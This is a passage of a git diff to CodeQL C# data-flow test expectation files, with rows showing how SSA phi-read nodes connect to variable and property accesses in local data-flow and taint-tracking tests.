-| UseUseExplosion.cs:24:2807:24:2807 | access to local variable x | UseUseExplosion.cs:24:2803:24:2808 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2818:24:2823 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2818:24:2823 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2807:24:2807 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2818:24:2823 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2818:24:2823 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2818:24:2823 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2822:24:2822 | access to local variable x | UseUseExplosion.cs:24:2818:24:2823 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2833:24:2838 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2833:24:2838 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2822:24:2822 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2833:24:2838 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2833:24:2838 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2833:24:2838 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2837:24:2837 | access to local variable x | UseUseExplosion.cs:24:2833:24:2838 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2848:24:2853 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2848:24:2853 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2837:24:2837 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2848:24:2853 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2848:24:2853 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2848:24:2853 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2852:24:2852 | access to local variable x | UseUseExplosion.cs:24:2848:24:2853 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2863:24:2868 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2863:24:2868 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2852:24:2852 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2863:24:2868 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2863:24:2868 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2863:24:2868 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2867:24:2867 | access to local variable x | UseUseExplosion.cs:24:2863:24:2868 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2878:24:2883 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2878:24:2883 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2867:24:2867 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2878:24:2883 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2878:24:2883 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2878:24:2883 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2882:24:2882 | access to local variable x | UseUseExplosion.cs:24:2878:24:2883 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2893:24:2898 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2893:24:2898 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2882:24:2882 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2893:24:2898 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2893:24:2898 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2893:24:2898 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2897:24:2897 | access to local variable x | UseUseExplosion.cs:24:2893:24:2898 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2908:24:2913 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2908:24:2913 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2897:24:2897 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2908:24:2913 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2908:24:2913 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2908:24:2913 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2912:24:2912 | access to local variable x | UseUseExplosion.cs:24:2908:24:2913 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2923:24:2928 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2923:24:2928 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2912:24:2912 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2923:24:2928 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2923:24:2928 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2923:24:2928 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2927:24:2927 | access to local variable x | UseUseExplosion.cs:24:2923:24:2928 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2938:24:2943 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2938:24:2943 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2927:24:2927 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2938:24:2943 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2938:24:2943 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2938:24:2943 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2942:24:2942 | access to local variable x | UseUseExplosion.cs:24:2938:24:2943 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2953:24:2958 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2953:24:2958 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2942:24:2942 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2953:24:2958 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2953:24:2958 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2953:24:2958 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2957:24:2957 | access to local variable x | UseUseExplosion.cs:24:2953:24:2958 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2968:24:2973 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2968:24:2973 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2957:24:2957 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2968:24:2973 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2968:24:2973 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2968:24:2973 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2972:24:2972 | access to local variable x | UseUseExplosion.cs:24:2968:24:2973 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2983:24:2988 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2983:24:2988 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2972:24:2972 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2983:24:2988 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2983:24:2988 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2983:24:2988 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2987:24:2987 | access to local variable x | UseUseExplosion.cs:24:2983:24:2988 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2998:24:3003 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2998:24:3003 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2987:24:2987 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2998:24:3003 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2998:24:3003 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2998:24:3003 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3002:24:3002 | access to local variable x | UseUseExplosion.cs:24:2998:24:3003 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3013:24:3018 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3013:24:3018 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3002:24:3002 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3013:24:3018 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3013:24:3018 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3013:24:3018 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3017:24:3017 | access to local variable x | UseUseExplosion.cs:24:3013:24:3018 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3028:24:3033 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3028:24:3033 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3017:24:3017 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3028:24:3033 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3028:24:3033 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3028:24:3033 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3032:24:3032 | access to local variable x | UseUseExplosion.cs:24:3028:24:3033 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3043:24:3048 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3043:24:3048 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3032:24:3032 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3043:24:3048 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3043:24:3048 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3043:24:3048 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3047:24:3047 | access to local variable x | UseUseExplosion.cs:24:3043:24:3048 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3058:24:3063 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3058:24:3063 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3047:24:3047 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3058:24:3063 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3058:24:3063 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3058:24:3063 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3062:24:3062 | access to local variable x | UseUseExplosion.cs:24:3058:24:3063 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3073:24:3078 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3073:24:3078 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3062:24:3062 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3073:24:3078 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3073:24:3078 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3073:24:3078 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3077:24:3077 | access to local variable x | UseUseExplosion.cs:24:3073:24:3078 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3088:24:3093 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3088:24:3093 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3077:24:3077 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3088:24:3093 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3088:24:3093 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3088:24:3093 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3092:24:3092 | access to local variable x | UseUseExplosion.cs:24:3088:24:3093 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3103:24:3108 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3103:24:3108 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3092:24:3092 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3103:24:3108 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3103:24:3108 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3103:24:3108 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3107:24:3107 | access to local variable x | UseUseExplosion.cs:24:3103:24:3108 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3118:24:3123 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3118:24:3123 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3107:24:3107 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3118:24:3123 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3118:24:3123 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3118:24:3123 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3122:24:3122 | access to local variable x | UseUseExplosion.cs:24:3118:24:3123 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3133:24:3138 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3133:24:3138 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3122:24:3122 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3133:24:3138 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3133:24:3138 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3133:24:3138 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3137:24:3137 | access to local variable x | UseUseExplosion.cs:24:3133:24:3138 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3148:24:3153 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3148:24:3153 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3137:24:3137 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3148:24:3153 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3148:24:3153 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3148:24:3153 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3152:24:3152 | access to local variable x | UseUseExplosion.cs:24:3148:24:3153 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3163:24:3168 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3163:24:3168 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3152:24:3152 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3163:24:3168 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3163:24:3168 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3163:24:3168 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3167:24:3167 | access to local variable x | UseUseExplosion.cs:24:3163:24:3168 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3178:24:3183 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3178:24:3183 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3167:24:3167 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3178:24:3183 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3178:24:3183 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3178:24:3183 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3182:24:3182 | access to local variable x | UseUseExplosion.cs:24:3178:24:3183 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:3193:24:3198 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:3193:24:3198 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3182:24:3182 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:3193:24:3198 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:3193:24:3198 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:3193:24:3198 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:3197:24:3197 | access to local variable x | UseUseExplosion.cs:24:3193:24:3198 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
+| UseUseExplosion.cs:24:3197:24:3197 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
 | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | UseUseExplosion.cs:25:1712:25:1712 | access to local variable x |
 | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | UseUseExplosion.cs:25:1727:25:1727 | access to local variable x |
 | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) | UseUseExplosion.cs:25:1742:25:1742 | access to local variable x |
diff --git a/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected b/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected
index ea0ae7f9da73..48bf36691e01 100644
--- a/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected
+++ b/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected
@@ -80,11 +80,10 @@
 | LocalDataFlow.cs:88:9:88:16 | access to local variable nonSink0 | LocalDataFlow.cs:88:9:88:36 | SSA def(nonSink0) |
 | LocalDataFlow.cs:88:9:88:36 | SSA def(nonSink0) | LocalDataFlow.cs:89:15:89:22 | access to local variable nonSink0 |
 | LocalDataFlow.cs:88:20:88:36 | ... ? ... : ... | LocalDataFlow.cs:88:9:88:16 | access to local variable nonSink0 |
-| LocalDataFlow.cs:88:20:88:36 | SSA phi(sink7) | LocalDataFlow.cs:92:29:92:33 | access to local variable sink7 |
 | LocalDataFlow.cs:88:24:88:28 | "abc" | LocalDataFlow.cs:88:20:88:36 | ... ? ... : ... |
-| LocalDataFlow.cs:88:24:88:28 | [input] SSA phi(sink7) | LocalDataFlow.cs:88:20:88:36 | SSA phi(sink7) |
+| LocalDataFlow.cs:88:24:88:28 | [input] SSA phi(sink7) | LocalDataFlow.cs:92:29:92:33 | access to local variable sink7 |
 | LocalDataFlow.cs:88:32:88:36 | "def" | LocalDataFlow.cs:88:20:88:36 | ... ? ... : ... |
-| LocalDataFlow.cs:88:32:88:36 | [input] SSA phi(sink7) | LocalDataFlow.cs:88:20:88:36 | SSA phi(sink7) |
+| LocalDataFlow.cs:88:32:88:36 | [input] SSA phi(sink7) | LocalDataFlow.cs:92:29:92:33 | access to local variable sink7 |
 | LocalDataFlow.cs:89:15:89:22 | [post] access to local variable nonSink0 | LocalDataFlow.cs:96:32:96:39 | access to local variable nonSink0 |
 | LocalDataFlow.cs:89:15:89:22 | access to local variable nonSink0 | LocalDataFlow.cs:96:32:96:39 | access to local variable nonSink0 |
 | LocalDataFlow.cs:92:13:92:17 | access to local variable sink8 | LocalDataFlow.cs:92:13:92:33 | SSA def(sink8) |
@@ -589,14 +588,12 @@
 | LocalDataFlow.cs:307:18:307:33 | String nonSink17 | LocalDataFlow.cs:307:18:307:33 | SSA def(nonSink17) |
 | LocalDataFlow.cs:313:13:313:18 | access to local variable sink73 | LocalDataFlow.cs:313:13:313:38 | SSA def(sink73) |
 | LocalDataFlow.cs:313:13:313:38 | SSA def(sink73) | LocalDataFlow.cs:315:15:315:20 | access to local variable sink73 |
-| LocalDataFlow.cs:313:22:313:29 | [input] SSA phi read(sink0) | LocalDataFlow.cs:313:22:313:38 | SSA phi read(sink0) |
+| LocalDataFlow.cs:313:22:313:29 | [input] SSA phi read(sink0) | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 |
 | LocalDataFlow.cs:313:22:313:29 | access to local variable nonSink0 | LocalDataFlow.cs:313:22:313:38 | ... ?? ... |
 | LocalDataFlow.cs:313:22:313:29 | access to local variable nonSink0 | LocalDataFlow.cs:314:31:314:38 | access to local variable nonSink0 |
 | LocalDataFlow.cs:313:22:313:38 | ... ?? ... | LocalDataFlow.cs:313:13:313:18 | access to local variable sink73 |
-| LocalDataFlow.cs:313:22:313:38 | SSA phi read(sink0) | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 |
-| LocalDataFlow.cs:313:34:313:38 | [input] SSA phi read(sink0) | LocalDataFlow.cs:313:22:313:38 | SSA phi read(sink0) |
 | LocalDataFlow.cs:313:34:313:38 | access to local variable sink0 | LocalDataFlow.cs:313:22:313:38 | ... ?? ... |
-| LocalDataFlow.cs:313:34:313:38 | access to local variable sink0 | LocalDataFlow.cs:313:34:313:38 | [input] SSA phi read(sink0) |
+| LocalDataFlow.cs:313:34:313:38 | access to local variable sink0 | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 |
 | LocalDataFlow.cs:314:13:314:18 | access to local variable sink74 | LocalDataFlow.cs:314:13:314:38 | SSA def(sink74) |
 | LocalDataFlow.cs:314:13:314:38 | SSA def(sink74) | LocalDataFlow.cs:316:15:316:20 | access to local variable sink74 |
 | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 | LocalDataFlow.cs:314:22:314:38 | ... ?? ... |
@@ -636,12 +633,10 @@
 | LocalDataFlow.cs:373:13:373:25 | SSA def(x) | LocalDataFlow.cs:374:17:374:18 | [input] SSA phi(x) |
 | LocalDataFlow.cs:373:13:373:25 | SSA def(x) | LocalDataFlow.cs:376:35:376:35 | access to local variable x |
 | LocalDataFlow.cs:373:17:373:25 | "tainted" | LocalDataFlow.cs:373:13:373:13 | access to local variable x |
-| LocalDataFlow.cs:374:17:374:18 | [input] SSA phi(x) | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) |
+| LocalDataFlow.cs:374:17:374:18 | [input] SSA phi(x) | LocalDataFlow.cs:382:15:382:15 | access to local variable x |
 | LocalDataFlow.cs:381:13:381:13 | access to local variable x | LocalDataFlow.cs:381:13:381:29 | SSA def(x) |
